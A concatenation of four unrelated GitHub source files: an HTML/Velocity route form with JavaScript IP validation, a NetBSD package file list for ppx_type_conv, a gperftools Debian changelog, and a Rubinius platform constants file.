<td><input type="text" id="providerProtocol" value="$!providerProtocol"
name="providerProtocol" style="ime-mode:disabled"/></td>
<td><input type="text" id="unproviderProtocol" value="$!unproviderProtocol"
name="unproviderProtocol" style="ime-mode:disabled"/></td>
<td></td>
</tr>
<tr id="port">
<th>$i18n.get("ProviderPort"): </th>
<td><input type="text" id="providerPort" name="providerPort" value="$!providerPort" style="ime-mode:disabled"/>
</td>
<td><input type="text" id="unproviderPort" name="unproviderPort" value="$!unproviderPort" style="ime-mode:disabled"/></td>
</tr>
<tr>
<td colspan="4"><div class="btn"><a href="#" onclick="if(check()){document.getElementById('df').submit();}">$i18n.get("save")</a></div></td>
</tr>
</table>
</form>
<script type="text/javascript">
function check() {
if(byId('name').value.trim()==''){
showAlert("$i18n.get("PleaseInput", $i18n.get("route.name"))", 'name');
return false;
}
if(byId('service').value.trim()==''){
showAlert("$i18n.get("PleaseInput", $i18n.get("service"))", 'service');
return false;
}
if(byId('service').value.indexOf('*') != -1 || byId('service').value.indexOf(',') != -1 ){
showAlert("Service name can not contain '*' or ','.", 'service');
return false;
}
var exp=/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.\*$/;
var exp2=/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5]).(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
var paddress = byId('providerHost').value;
if(paddress.trim()!=''){
var padds = paddress.split(",");
for(var i = 0; i < padds.length; i++){
if(!padds[i].match(exp2) && !padds[i].match(exp)){
showAlert("Match provider host : " + padds[i] + " is illegal", 'ProviderHost');
return false;
}
}
}
var punaddress = byId('unproviderHost').value;
if(punaddress.trim()!=''){
var punadds = punaddress.split(",");
for(var i = 0; i < punadds.length; i++){
if(!punadds[i].match(exp2) && !punadds[i].match(exp)){
showAlert("Mismatch provider host : " + punadds[i] + " is illegal", 'ProviderHost');
return false;
}
}
}
return true;
}
function ismaxlength(obj){
var mlength=obj.getAttribute? parseInt(obj.getAttribute("maxlength")) : ""
if (obj.getAttribute && obj.value.length>mlength)
showAlert("content maxlength is " + mlength + "!", 'docContent');
return false;
}
function imposeMaxLength(obj){
var mlength=obj.getAttribute? parseInt(obj.getAttribute("maxlength")) : ""
return (obj.value.length <mlength);
}
</script>
|
{
"pile_set_name": "Github"
}
|
@comment $NetBSD: PLIST,v 1.3 2016/08/18 11:23:48 jaapb Exp $
${OCAML_SITELIB}/ppx_type_conv/META
${OCAML_SITELIB}/ppx_type_conv/ignore_unused_warning.annot
${OCAML_SITELIB}/ppx_type_conv/ignore_unused_warning.cmt
${OCAML_SITELIB}/ppx_type_conv/ignore_unused_warning.cmti
${OCAML_SITELIB}/ppx_type_conv/ignore_unused_warning.mli
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.a
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.cma
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.cmi
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.cmt
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.cmx
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.cmxa
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv.cmxs
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.a
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.annot
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.cma
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.cmi
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.cmt
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.cmx
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.cmxa
${PLIST.ocaml-opt}${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.cmxs
${OCAML_SITELIB}/ppx_type_conv/ppx_type_conv_deriving.ml
${OCAML_SITELIB}/ppx_type_conv/std.annot
${OCAML_SITELIB}/ppx_type_conv/std.cmt
${OCAML_SITELIB}/ppx_type_conv/std.ml
${OCAML_SITELIB}/ppx_type_conv/type_conv.annot
${OCAML_SITELIB}/ppx_type_conv/type_conv.cmt
${OCAML_SITELIB}/ppx_type_conv/type_conv.cmti
${OCAML_SITELIB}/ppx_type_conv/type_conv.mli
|
{
"pile_set_name": "Github"
}
|
gperftools (2.1-1) unstable; urgency=low
* New upstream release.
-- gperftools Contributors <google-perftools@googlegroups.com> Tue, 30 Jul 2013 11:51:13 +0300
gperftools (2.0.99-1) unstable; urgency=low
* New upstream release.
-- gperftools Contributors <google-perftools@googlegroups.com> Sat, 20 Jul 2013 14:21:10 -0700
gperftools (2.0-1) unstable; urgency=low
* New upstream release.
* Package renamed from google-perftools to gperftools.
-- Google Inc. and others <google-perftools@googlegroups.com> Fri, 03 Feb 2012 15:40:45 -0800
google-perftools (1.10-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 31 Jan 2012 10:43:50 -0800
google-perftools (1.9-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 22 Dec 2011 16:22:45 -0800
google-perftools (1.8-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 15 Jul 2011 16:10:51 -0700
google-perftools (1.7-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 04 Feb 2011 15:54:31 -0800
google-perftools (1.6-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 05 Aug 2010 12:48:03 -0700
google-perftools (1.5-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 19 Jan 2010 14:46:12 -0800
google-perftools (1.4-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 10 Sep 2009 13:51:15 -0700
google-perftools (1.3-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 09 Jun 2009 18:19:06 -0700
google-perftools (1.2-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 17 Apr 2009 16:40:48 -0700
google-perftools (1.1-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Wed, 11 Mar 2009 11:25:34 -0700
google-perftools (1.0-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 06 Jan 2009 13:58:56 -0800
google-perftools (1.0rc1-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 11 Dec 2008 16:01:32 -0800
google-perftools (0.99.1-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Sat, 20 Sep 2008 09:37:18 -0700
google-perftools (0.99-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 18 Sep 2008 16:00:27 -0700
google-perftools (0.98-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Mon, 09 Jun 2008 16:47:03 -0700
google-perftools (0.97-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Mon, 21 Apr 2008 15:20:52 -0700
google-perftools (0.96-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 18 Mar 2008 14:30:44 -0700
google-perftools (0.95-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 12 Feb 2008 12:28:32 -0800
google-perftools (0.94-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 29 Nov 2007 07:59:43 -0800
google-perftools (0.93-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 17 Aug 2007 12:32:56 -0700
google-perftools (0.92-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 17 Jul 2007 22:26:27 -0700
google-perftools (0.91-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Wed, 18 Apr 2007 16:43:55 -0700
google-perftools (0.90-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 13 Apr 2007 14:50:51 -0700
google-perftools (0.8-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Wed, 14 Jun 2006 15:11:14 -0700
google-perftools (0.7-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Thu, 13 Apr 2006 20:59:09 -0700
google-perftools (0.6-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 27 Jan 2006 14:04:27 -0800
google-perftools (0.5-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Mon, Nov 14 17:28:59 2005 -0800
google-perftools (0.4-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Wed, 26 Oct 2005 15:19:16 -0700
google-perftools (0.3-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Fri, 24 Jun 2005 18:02:26 -0700
google-perftools (0.2-1) unstable; urgency=low
* New upstream release.
-- Google Inc. <opensource@google.com> Tue, 31 May 2005 08:14:38 -0700
google-perftools (0.1-1) unstable; urgency=low
* Initial release.
The google-perftools package contains some utilities to improve
and analyze the performance of C++ programs. This includes an
optimized thread-caching malloc() and cpu and heap profiling
utilities.
-- Google Inc. <opensource@google.com> Fri, 11 Mar 2005 08:07:33 -0800
|
{
"pile_set_name": "Github"
}
|
rbx.platform.addrinfo.sizeof = 32
rbx.platform.addrinfo.ai_flags.offset = 0
rbx.platform.addrinfo.ai_flags.size = 4
rbx.platform.addrinfo.ai_flags.type = int
rbx.platform.addrinfo.ai_family.offset = 4
rbx.platform.addrinfo.ai_family.size = 4
rbx.platform.addrinfo.ai_family.type = int
rbx.platform.addrinfo.ai_socktype.offset = 8
rbx.platform.addrinfo.ai_socktype.size = 4
rbx.platform.addrinfo.ai_socktype.type = int
rbx.platform.addrinfo.ai_protocol.offset = 12
rbx.platform.addrinfo.ai_protocol.size = 4
rbx.platform.addrinfo.ai_protocol.type = int
rbx.platform.addrinfo.ai_addrlen.offset = 16
rbx.platform.addrinfo.ai_addrlen.size = 4
rbx.platform.addrinfo.ai_addrlen.type = int
rbx.platform.addrinfo.ai_addr.offset = 24
rbx.platform.addrinfo.ai_addr.size = 4
rbx.platform.addrinfo.ai_addr.type = pointer
rbx.platform.addrinfo.ai_canonname.offset = 20
rbx.platform.addrinfo.ai_canonname.size = 4
rbx.platform.addrinfo.ai_canonname.type = string
rbx.platform.addrinfo.ai_next.offset = 28
rbx.platform.addrinfo.ai_next.size = 4
rbx.platform.addrinfo.ai_next.type = pointer
rbx.platform.dirent.sizeof = 24
rbx.platform.dirent.d_ino.offset = 0
rbx.platform.dirent.d_ino.size = 8
rbx.platform.dirent.d_ino.type = ino_t
rbx.platform.dirent.d_reclen.offset = 16
rbx.platform.dirent.d_reclen.size = 2
rbx.platform.dirent.d_reclen.type = ushort
rbx.platform.dirent.d_name.offset = 18
rbx.platform.dirent.d_name.size = 1
rbx.platform.dirent.d_name.type = char_array
rbx.platform.timeval.sizeof = 8
rbx.platform.timeval.tv_sec.offset = 0
rbx.platform.timeval.tv_sec.size = 4
rbx.platform.timeval.tv_sec.type = time_t
rbx.platform.timeval.tv_usec.offset = 4
rbx.platform.timeval.tv_usec.size = 4
rbx.platform.timeval.tv_usec.type = suseconds_t
rbx.platform.sockaddr_in.sizeof = 16
rbx.platform.sockaddr_in.sin_family.offset = 0
rbx.platform.sockaddr_in.sin_family.size = 2
rbx.platform.sockaddr_in.sin_family.type = sa_family_t
rbx.platform.sockaddr_in.sin_port.offset = 2
rbx.platform.sockaddr_in.sin_port.size = 2
rbx.platform.sockaddr_in.sin_port.type = ushort
rbx.platform.sockaddr_in.sin_addr.offset = 4
rbx.platform.sockaddr_in.sin_addr.size = 4
rbx.platform.sockaddr_in.sin_zero.offset = 8
rbx.platform.sockaddr_in.sin_zero.size = 8
rbx.platform.sockaddr_in.sin_zero.type = char_array
rbx.platform.sockaddr_un.sizeof = 110
rbx.platform.sockaddr_un.sun_family.offset = 0
rbx.platform.sockaddr_un.sun_family.size = 2
rbx.platform.sockaddr_un.sun_family.type = sa_family_t
rbx.platform.sockaddr_un.sun_path.offset = 2
rbx.platform.sockaddr_un.sun_path.size = 108
rbx.platform.sockaddr_un.sun_path.type = char_array
rbx.platform.servent.sizeof = 16
rbx.platform.servent.s_name.offset = 0
rbx.platform.servent.s_name.size = 4
rbx.platform.servent.s_name.type = pointer
rbx.platform.servent.s_aliases.offset = 4
rbx.platform.servent.s_aliases.size = 4
rbx.platform.servent.s_aliases.type = pointer
rbx.platform.servent.s_port.offset = 8
rbx.platform.servent.s_port.size = 4
rbx.platform.servent.s_port.type = int
rbx.platform.servent.s_proto.offset = 12
rbx.platform.servent.s_proto.size = 4
rbx.platform.servent.s_proto.type = pointer
rbx.platform.stat.sizeof = 152
rbx.platform.stat.st_dev.offset = 0
rbx.platform.stat.st_dev.size = 4
rbx.platform.stat.st_dev.type = dev_t
rbx.platform.stat.st_ino.offset = 16
rbx.platform.stat.st_ino.size = 8
rbx.platform.stat.st_ino.type = ino_t
rbx.platform.stat.st_mode.offset = 24
rbx.platform.stat.st_mode.size = 4
rbx.platform.stat.st_mode.type = mode_t
rbx.platform.stat.st_nlink.offset = 28
rbx.platform.stat.st_nlink.size = 4
rbx.platform.stat.st_nlink.type = nlink_t
rbx.platform.stat.st_uid.offset = 32
rbx.platform.stat.st_uid.size = 4
rbx.platform.stat.st_uid.type = uid_t
rbx.platform.stat.st_gid.offset = 36
rbx.platform.stat.st_gid.size = 4
rbx.platform.stat.st_gid.type = gid_t
rbx.platform.stat.st_rdev.offset = 40
rbx.platform.stat.st_rdev.size = 4
rbx.platform.stat.st_rdev.type = dev_t
rbx.platform.stat.st_size.offset = 56
rbx.platform.stat.st_size.size = 8
rbx.platform.stat.st_size.type = off_t
rbx.platform.stat.st_blksize.offset = 88
rbx.platform.stat.st_blksize.size = 4
rbx.platform.stat.st_blocks.offset = 96
rbx.platform.stat.st_blocks.size = 8
rbx.platform.stat.st_atime.offset = 64
rbx.platform.stat.st_atime.size = 4
rbx.platform.stat.st_atime.type = time_t
rbx.platform.stat.st_mtime.offset = 72
rbx.platform.stat.st_mtime.size = 4
rbx.platform.stat.st_mtime.type = time_t
rbx.platform.stat.st_ctime.offset = 80
rbx.platform.stat.st_ctime.size = 4
rbx.platform.stat.st_ctime.type = time_t
rbx.platform.rlimit.sizeof = 16
rbx.platform.rlimit.rlim_cur.offset = 0
rbx.platform.rlimit.rlim_cur.size = 8
rbx.platform.rlimit.rlim_cur.type = rlim_t
rbx.platform.rlimit.rlim_max.offset = 8
rbx.platform.rlimit.rlim_max.size = 8
rbx.platform.rlimit.rlim_max.type = rlim_t
rbx.platform.file.O_RDONLY = 0
rbx.platform.file.O_WRONLY = 1
rbx.platform.file.O_RDWR = 2
rbx.platform.file.O_CREAT = 256
rbx.platform.file.O_EXCL = 1024
rbx.platform.file.O_NOCTTY = 2048
rbx.platform.file.O_TRUNC = 512
rbx.platform.file.O_APPEND = 8
rbx.platform.file.O_NONBLOCK = 128
rbx.platform.file.O_SYNC = 16
rbx.platform.file.S_IRUSR = 256
rbx.platform.file.S_IWUSR = 128
rbx.platform.file.S_IXUSR = 64
rbx.platform.file.S_IRGRP = 32
rbx.platform.file.S_IWGRP = 16
rbx.platform.file.S_IXGRP = 8
rbx.platform.file.S_IROTH = 4
rbx.platform.file.S_IWOTH = 2
rbx.platform.file.S_IXOTH = 1
rbx.platform.file.S_IFMT = 61440
rbx.platform.file.S_IFIFO = 4096
rbx.platform.file.S_IFCHR = 8192
rbx.platform.file.S_IFDIR = 16384
rbx.platform.file.S_IFBLK = 24576
rbx.platform.file.S_IFREG = 32768
rbx.platform.file.S_IFLNK = 40960
rbx.platform.file.S_IFSOCK = 49152
rbx.platform.file.S_IFWHT =
rbx.platform.file.S_ISUID = 2048
rbx.platform.file.S_ISGID = 1024
rbx.platform.io.SEEK_SET = 0
rbx.platform.io.SEEK_CUR = 1
rbx.platform.io.SEEK_END = 2
rbx.platform.fcntl.F_GETFL = 3
rbx.platform.fcntl.F_SETFL = 4
rbx.platform.fcntl.O_ACCMODE = 3
rbx.platform.socket.AF_APPLETALK = 16
rbx.platform.socket.AF_ATM =
rbx.platform.socket.AF_AX25 =
rbx.platform.socket.AF_CCITT = 10
rbx.platform.socket.AF_CHAOS = 5
rbx.platform.socket.AF_CNT =
rbx.platform.socket.AF_COIP =
rbx.platform.socket.AF_DATAKIT = 9
rbx.platform.socket.AF_DEC =
rbx.platform.socket.AF_DLI = 13
rbx.platform.socket.AF_E164 =
rbx.platform.socket.AF_ECMA = 8
rbx.platform.socket.AF_HYLINK = 15
rbx.platform.socket.AF_IMPLINK = 3
rbx.platform.socket.AF_INET = 2
rbx.platform.socket.AF_INET6 = 26
rbx.platform.socket.AF_IPX = 23
rbx.platform.socket.AF_ISDN =
rbx.platform.socket.AF_ISO =
rbx.platform.socket.AF_LAT = 14
rbx.platform.socket.AF_LINK = 25
rbx.platform.socket.AF_LOCAL =
rbx.platform.socket.AF_MAX = 29
rbx.platform.socket.AF_NATM =
rbx.platform.socket.AF_NDRV =
rbx.platform.socket.AF_NETBIOS =
rbx.platform.socket.AF_NETGRAPH =
rbx.platform.socket.AF_NS = 6
rbx.platform.socket.AF_OSI = 19
rbx.platform.socket.AF_PPP =
rbx.platform.socket.AF_PUP = 4
rbx.platform.socket.AF_ROUTE = 24
rbx.platform.socket.AF_SIP =
rbx.platform.socket.AF_SNA = 11
rbx.platform.socket.AF_SYSTEM =
rbx.platform.socket.AF_UNIX = 1
rbx.platform.socket.AF_UNSPEC = 0
rbx.platform.socket.AI_ADDRCONFIG = 4
rbx.platform.socket.AI_ALL = 2
rbx.platform.socket.AI_CANONNAME = 16
rbx.platform.socket.AI_DEFAULT = 5
rbx.platform.socket.AI_MASK =
rbx.platform.socket.AI_NUMERICHOST = 32
rbx.platform.socket.AI_PASSIVE = 8
rbx.platform.socket.AI_V4MAPPED = 1
rbx.platform.socket.AI_V4MAPPED_CFG =
rbx.platform.socket.EAI_ADDRFAMILY = 1
rbx.platform.socket.EAI_AGAIN = 2
rbx.platform.socket.EAI_BADFLAGS = 3
rbx.platform.socket.EAI_BADHINTS =
rbx.platform.socket.EAI_FAIL = 4
rbx.platform.socket.EAI_FAMILY = 5
rbx.platform.socket.EAI_MAX =
rbx.platform.socket.EAI_MEMORY = 6
rbx.platform.socket.EAI_NODATA = 7
rbx.platform.socket.EAI_NONAME = 8
rbx.platform.socket.EAI_PROTOCOL =
rbx.platform.socket.EAI_SERVICE = 9
rbx.platform.socket.EAI_SOCKTYPE = 10
rbx.platform.socket.EAI_SYSTEM = 11
rbx.platform.socket.INADDR_ALLHOSTS_GROUP = -536870911
rbx.platform.socket.INADDR_ANY = 0
rbx.platform.socket.INADDR_BROADCAST = -1
rbx.platform.socket.INADDR_LOOPBACK = 2130706433
rbx.platform.socket.INADDR_MAX_LOCAL_GROUP = -536870657
rbx.platform.socket.INADDR_NONE =
rbx.platform.socket.INADDR_UNSPEC_GROUP = -536870912
rbx.platform.socket.IPPORT_RESERVED = 1024
rbx.platform.socket.IPPORT_USERRESERVED = 5000
rbx.platform.socket.IPPROTO_BIP =
rbx.platform.socket.IPPROTO_EGP = 8
rbx.platform.socket.IPPROTO_EON = 80
rbx.platform.socket.IPPROTO_GGP = 3
rbx.platform.socket.IPPROTO_HELLO = 63
rbx.platform.socket.IPPROTO_ICMP = 1
rbx.platform.socket.IPPROTO_IDP = 22
rbx.platform.socket.IPPROTO_IGMP = 2
rbx.platform.socket.IPPROTO_IP = 0
rbx.platform.socket.IPPROTO_MAX = 256
rbx.platform.socket.IPPROTO_ND = 77
rbx.platform.socket.IPPROTO_PUP = 12
rbx.platform.socket.IPPROTO_RAW = 255
rbx.platform.socket.IPPROTO_TCP = 6
rbx.platform.socket.IPPROTO_TP =
rbx.platform.socket.IPPROTO_UDP = 17
rbx.platform.socket.IPPROTO_XTP =
rbx.platform.socket.IPX_TYPE =
rbx.platform.socket.IP_ADD_MEMBERSHIP = 19
rbx.platform.socket.IP_DEFAULT_MULTICAST_LOOP = 1
rbx.platform.socket.IP_DEFAULT_MULTICAST_TTL = 1
rbx.platform.socket.IP_DROP_MEMBERSHIP = 20
rbx.platform.socket.IP_HDRINCL = 2
rbx.platform.socket.IP_MAX_MEMBERSHIPS =
rbx.platform.socket.IP_MULTICAST_IF = 16
rbx.platform.socket.IP_MULTICAST_LOOP = 18
rbx.platform.socket.IP_MULTICAST_TTL = 17
rbx.platform.socket.IP_OPTIONS = 1
rbx.platform.socket.IP_RECVDSTADDR = 7
rbx.platform.socket.IP_RECVOPTS = 5
rbx.platform.socket.IP_RECVRETOPTS = 6
rbx.platform.socket.IP_RETOPTS = 8
rbx.platform.socket.IP_TOS = 3
rbx.platform.socket.IP_TTL = 4
rbx.platform.socket.MSG_COMPAT =
rbx.platform.socket.MSG_CTRUNC = 16
rbx.platform.socket.MSG_DONTROUTE = 4
rbx.platform.socket.MSG_DONTWAIT = 128
rbx.platform.socket.MSG_EOF =
rbx.platform.socket.MSG_EOR = 8
rbx.platform.socket.MSG_FLUSH =
rbx.platform.socket.MSG_HAVEMORE =
rbx.platform.socket.MSG_HOLD =
rbx.platform.socket.MSG_OOB = 1
rbx.platform.socket.MSG_PEEK = 2
rbx.platform.socket.MSG_RCVMORE =
rbx.platform.socket.MSG_SEND =
rbx.platform.socket.MSG_TRUNC = 32
rbx.platform.socket.MSG_WAITALL = 64
rbx.platform.socket.NI_DGRAM = 16
rbx.platform.socket.NI_MAXHOST = 1025
rbx.platform.socket.NI_MAXSERV = 32
rbx.platform.socket.NI_NAMEREQD = 4
rbx.platform.socket.NI_NOFQDN = 1
rbx.platform.socket.NI_NUMERICHOST = 2
rbx.platform.socket.NI_NUMERICSERV = 8
rbx.platform.socket.PF_APPLETALK = 16
rbx.platform.socket.PF_AX25 =
rbx.platform.socket.PF_CCITT = 10
rbx.platform.socket.PF_CHAOS = 5
rbx.platform.socket.PF_CNT =
rbx.platform.socket.PF_COIP =
rbx.platform.socket.PF_DATAKIT = 9
rbx.platform.socket.PF_DLI = 13
rbx.platform.socket.PF_ECMA = 8
rbx.platform.socket.PF_HYLINK = 15
rbx.platform.socket.PF_IMPLINK = 3
rbx.platform.socket.PF_INET = 2
rbx.platform.socket.PF_INET6 = 26
rbx.platform.socket.PF_IPX = 23
rbx.platform.socket.PF_ISDN =
rbx.platform.socket.PF_ISO =
rbx.platform.socket.PF_KEY = 27
rbx.platform.socket.PF_LAT = 14
rbx.platform.socket.PF_LINK = 25
rbx.platform.socket.PF_LOCAL =
rbx.platform.socket.PF_MAX = 29
rbx.platform.socket.PF_NATM =
rbx.platform.socket.PF_NDRV =
rbx.platform.socket.PF_NETBIOS =
rbx.platform.socket.PF_NETGRAPH =
rbx.platform.socket.PF_NS = 6
rbx.platform.socket.PF_OSI = 19
rbx.platform.socket.PF_PIP =
rbx.platform.socket.PF_PPP =
rbx.platform.socket.PF_PUP = 4
rbx.platform.socket.PF_ROUTE = 24
rbx.platform.socket.PF_RTIP =
rbx.platform.socket.PF_SIP =
rbx.platform.socket.PF_SNA = 11
rbx.platform.socket.PF_SYSTEM =
rbx.platform.socket.PF_UNIX = 1
rbx.platform.socket.PF_UNSPEC = 0
rbx.platform.socket.PF_XTP =
rbx.platform.socket.SHUT_RD = 0
rbx.platform.socket.SHUT_RDWR = 2
rbx.platform.socket.SHUT_WR = 1
rbx.platform.socket.SOCK_DGRAM = 1
rbx.platform.socket.SOCK_PACKET =
rbx.platform.socket.SOCK_RAW = 4
rbx.platform.socket.SOCK_RDM = 5
rbx.platform.socket.SOCK_SEQPACKET = 6
rbx.platform.socket.SOCK_STREAM = 2
rbx.platform.socket.SOL_ATALK =
rbx.platform.socket.SOL_AX25 =
rbx.platform.socket.SOL_IP =
rbx.platform.socket.SOL_IPX =
rbx.platform.socket.SOL_SOCKET = 65535
rbx.platform.socket.SOL_TCP =
rbx.platform.socket.SOL_UDP =
rbx.platform.socket.SOPRI_BACKGROUND =
rbx.platform.socket.SOPRI_INTERACTIVE =
rbx.platform.socket.SOPRI_NORMAL =
rbx.platform.socket.SO_ACCEPTCONN = 2
rbx.platform.socket.SO_ACCEPTFILTER =
rbx.platform.socket.SO_ATTACH_FILTER =
rbx.platform.socket.SO_BINDTODEVICE =
rbx.platform.socket.SO_BROADCAST = 32
rbx.platform.socket.SO_DEBUG = 1
rbx.platform.socket.SO_DETACH_FILTER =
rbx.platform.socket.SO_DONTROUTE = 16
rbx.platform.socket.SO_DONTTRUNC =
rbx.platform.socket.SO_ERROR = 4103
rbx.platform.socket.SO_KEEPALIVE = 8
rbx.platform.socket.SO_LINGER = 128
rbx.platform.socket.SO_NKE =
rbx.platform.socket.SO_NOSIGPIPE =
rbx.platform.socket.SO_NO_CHECK =
rbx.platform.socket.SO_NREAD =
rbx.platform.socket.SO_OOBINLINE = 256
rbx.platform.socket.SO_PASSCRED =
rbx.platform.socket.SO_PEERCRED =
rbx.platform.socket.SO_PEERNAME =
rbx.platform.socket.SO_PRIORITY =
rbx.platform.socket.SO_RCVBUF = 4098
rbx.platform.socket.SO_RCVLOWAT = 4100
rbx.platform.socket.SO_RCVTIMEO = 4102
rbx.platform.socket.SO_REUSEADDR = 4
rbx.platform.socket.SO_REUSEPORT =
rbx.platform.socket.SO_SECURITY_AUTHENTICATION =
rbx.platform.socket.SO_SECURITY_ENCRYPTION_NETWORK =
rbx.platform.socket.SO_SECURITY_ENCRYPTION_TRANSPORT =
rbx.platform.socket.SO_SNDBUF = 4097
rbx.platform.socket.SO_SNDLOWAT = 4099
rbx.platform.socket.SO_SNDTIMEO = 4101
rbx.platform.socket.SO_TIMESTAMP =
rbx.platform.socket.SO_TYPE = 4104
rbx.platform.socket.SO_USELOOPBACK = 64
rbx.platform.socket.SO_WANTMORE =
rbx.platform.socket.SO_WANTOOBFLAG =
rbx.platform.socket.TCP_MAXSEG = 2
rbx.platform.socket.TCP_NODELAY = 1
rbx.platform.process.WNOHANG = 64
rbx.platform.process.WUNTRACED = 4
rbx.platform.process.PRIO_PROCESS = 0
rbx.platform.process.PRIO_PGRP = 1
rbx.platform.process.PRIO_USER = 2
rbx.platform.process.RLIMIT_CPU = 0
rbx.platform.process.RLIMIT_FSIZE = 1
rbx.platform.process.RLIMIT_DATA = 2
rbx.platform.process.RLIMIT_STACK = 3
rbx.platform.process.RLIMIT_CORE = 4
rbx.platform.process.RLIMIT_RSS =
rbx.platform.process.RLIMIT_NPROC =
rbx.platform.process.RLIMIT_NOFILE = 5
rbx.platform.process.RLIMIT_MEMLOCK =
rbx.platform.process.RLIMIT_AS = 6
rbx.platform.process.RLIMIT_SBSIZE =
rbx.platform.process.RLIM_INFINITY = 18446744073709551613
rbx.platform.process.RLIM_SAVED_MAX = 18446744073709551614
rbx.platform.process.RLIM_SAVED_CUR = 18446744073709551615
rbx.platform.signal.SIGHUP = 1
rbx.platform.signal.SIGINT = 2
rbx.platform.signal.SIGQUIT = 3
rbx.platform.signal.SIGILL = 4
rbx.platform.signal.SIGTRAP = 5
rbx.platform.signal.SIGIOT = 6
rbx.platform.signal.SIGABRT = 6
rbx.platform.signal.SIGEMT = 7
rbx.platform.signal.SIGFPE = 8
rbx.platform.signal.SIGKILL = 9
rbx.platform.signal.SIGBUS = 10
rbx.platform.signal.SIGSEGV = 11
rbx.platform.signal.SIGSYS = 12
rbx.platform.signal.SIGPIPE = 13
rbx.platform.signal.SIGALRM = 14
rbx.platform.signal.SIGTERM = 15
rbx.platform.signal.SIGURG = 21
rbx.platform.signal.SIGSTOP = 23
rbx.platform.signal.SIGTSTP = 24
rbx.platform.signal.SIGCONT = 25
rbx.platform.signal.SIGCHLD = 18
rbx.platform.signal.SIGCLD = 18
rbx.platform.signal.SIGTTIN = 26
rbx.platform.signal.SIGTTOU = 27
rbx.platform.signal.SIGIO = 22
rbx.platform.signal.SIGXCPU = 30
rbx.platform.signal.SIGXFSZ = 31
rbx.platform.signal.SIGVTALRM = 28
rbx.platform.signal.SIGPROF = 29
rbx.platform.signal.SIGWINCH = 20
rbx.platform.signal.SIGUSR1 = 16
rbx.platform.signal.SIGUSR2 = 17
rbx.platform.signal.SIGLOST = 37
rbx.platform.signal.SIGMSG =
rbx.platform.signal.SIGPWR = 19
rbx.platform.signal.SIGPOLL = 22
rbx.platform.signal.SIGDANGER =
rbx.platform.signal.SIGMIGRATE =
rbx.platform.signal.SIGPRE =
rbx.platform.signal.SIGGRANT =
rbx.platform.signal.SIGRETRACT =
rbx.platform.signal.SIGSOUND =
rbx.platform.signal.SIGINFO =
rbx.platform.zlib.ZLIB_VERSION = 1.1.4
rbx.platform.typedef.lock_t = uchar
rbx.platform.typedef.int8_t = char
rbx.platform.typedef.int16_t = short
rbx.platform.typedef.int32_t = int
rbx.platform.typedef.int64_t = long_long
rbx.platform.typedef.uint8_t = uchar
rbx.platform.typedef.uint16_t = ushort
rbx.platform.typedef.uint32_t = uint
rbx.platform.typedef.uint64_t = ulong_long
rbx.platform.typedef.intmax_t = long_long
rbx.platform.typedef.uintmax_t = ulong_long
rbx.platform.typedef.intptr_t = int
